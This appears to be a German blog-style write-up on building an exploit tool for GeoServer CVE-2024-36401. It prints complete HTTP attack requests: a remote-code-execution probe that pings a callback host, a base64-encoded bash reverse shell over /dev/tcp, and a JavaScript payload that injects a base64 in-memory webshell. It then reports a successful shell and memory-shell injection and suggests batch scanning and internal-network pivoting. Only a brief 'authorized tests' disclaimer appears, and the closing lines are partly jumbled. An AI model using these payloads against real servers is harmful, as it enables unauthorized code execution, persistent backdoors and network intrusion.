
geoserver CVE-2024-36401 Exploit-Tool
GeoServer CVE-2024-36401 – Umgebung: JDK8 – Hinweis: Nur für autorisierte Tests. Der Autor übernimmt keine Haftung für Missbrauch durch Benutzer. Bitte halten Sie sich an die geltenden Gesetze!
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>
Hier ist Folgendes zu beachten: <wfs:Query typeNames='sf:archsites'/>
Wenn Sie einen regulären Ausdruck verwenden möchten, um diesen Teil zu extrahieren – dies ist eine grundlegende Kennung der Website sf:archsites – müssen Sie zunächst die Information <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType> abrufen und können diese dann per String-Konkatenation zusammensetzen.
Bei der Schwachstellenerkennung:
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
Eigentlich muss man hier nicht einmal DNS-Logs prüfen.
Eine einfache Logik ist die Prüfung auf das Auftreten einer Ausnahmeklasse wie java.lang.ClassCastException.
Das ist natürlich nur eine Erkennungslogik.
Der Rückgabewert ist standardmäßig 400 – das ist eine häufige Fehlerfalle. Sie müssen nach der Fehlerseite in den Daten suchen.
Zuerst müssen Sie folgende Anfrage senden:
<wfs:ListStoredQueries service='WFS'
version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
Diese Information gibt Ihnen die Möglichkeit, <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType> zu erhalten.
Weisen Sie den Text zu, rufen Sie dann eine Funktion/Methode auf, die den extrahierten Teil des Textes in den Parameter <wfs:Query typeNames='sf:archsites'/> einfügt.
Dadurch wird die Erkennungslogik relativ präzise. Für den Erkennungs-Code genügt dieser Ansatz.
Wenn Sie immer nur <wfs:Query typeNames='sf:archsites'/> verwenden, ist die Fehlerkennungsrate hoch, da der Fehler Could not locate {http://www.openplans.org/spearfish}archsites in catalog. ausgegeben wird.
Betrachten wir das Reverse-Shell-Payload:
POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>
Beachten Sie hier:
<wfs:Query typeNames='sf:archsites'/>
Auch hier muss zuerst der Wert per Regex extrahiert und dann angehängt werden.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx ist die Base64-kodierte Version von bash -i >& /dev/tcp/127.0.0.1/9999 0>&1.
Bei der Implementierung wandeln Sie den vom Benutzer eingegebenen Befehl bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 in Base64 um.
Senden Sie die Anfrage und prüfen Sie wieder auf die entscheidende Ausnahmeklasse – das genügt für die Erkennungslogik.
Hier:
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
Auch hier gibt es <wfs:Query typeNames='sf:archsites'/> – wie gewohnt erst den Wert holen.
Setzen Sie bei str den von Ihnen generierten Base64-kodierten MemShell-Code ein.
Dann die Erkennungslogik anwenden.
Die wiederholte Verwendung von <wfs:Query typeNames='sf:archsites'/> führt zu 98 % Fehlalarmen. Fehlermeldung z. B.:
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="InvalidParameterValue" locator="typeName">
<ows:ExceptionText>Could not locate {http://www.openplans.org/spearfish}archsites in catalog.<
Bei vorhandener Schwachstelle:
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText>
</ows:Exception>
Einfach ausgedrückt: Bei vorhandener Schwachstelle erscheint java.lang.ClassCastException.
Bei Fehlalarm: .

Testen wir die Schwachstelle.
Tool-Ausführungsergebnisse:


Hinweis: Keine Rückmeldung ist gleichbedeutend mit „keine Schwachstelle gefunden“; bei vorhandener Schwachstelle wird ein +-Zeichen angezeigt.
Schwachstelle gefunden → Reverse-Shell → Test auf erfolgreiche Verbindung → anschließend inneres Netzwerk testen.
Optimierungen könnten benutzerdefinierte MemShells, Batch-Scans usw. umfassen.

Die Schwachstelle wurde erkannt, Endpunkt ermittelt, Reverse-Shell erfolgreich.
Als Nächstes testen wir die MemShell-Injektion:

Anzeige: MemShell erfolgreich injiziert. Verbinden und prüfen.

Verbindung ist möglich.
Hinweis: MemShell-Test – „This GeoServer instance is running version 2.15.2. For more information please contact the ...“
Bei dieser Version war die Injektion erfolgreich.
Höhere Versionen könnten fehlschlagen.
Andere Versionen bitte selbst testen.

Benutzerdefinierte MemShell-Funktion hinzugefügt.

ls-Test und Ping-Test hinzugefügt.Could not locate {http://www.openplans.org/spearfish}archsites in catalogErkennungsmethode:
<wfs:ReturnFeatureType>, weise ihn einem Text zu.So haben wir letztendlich dieses Exploit-Tool realisiert.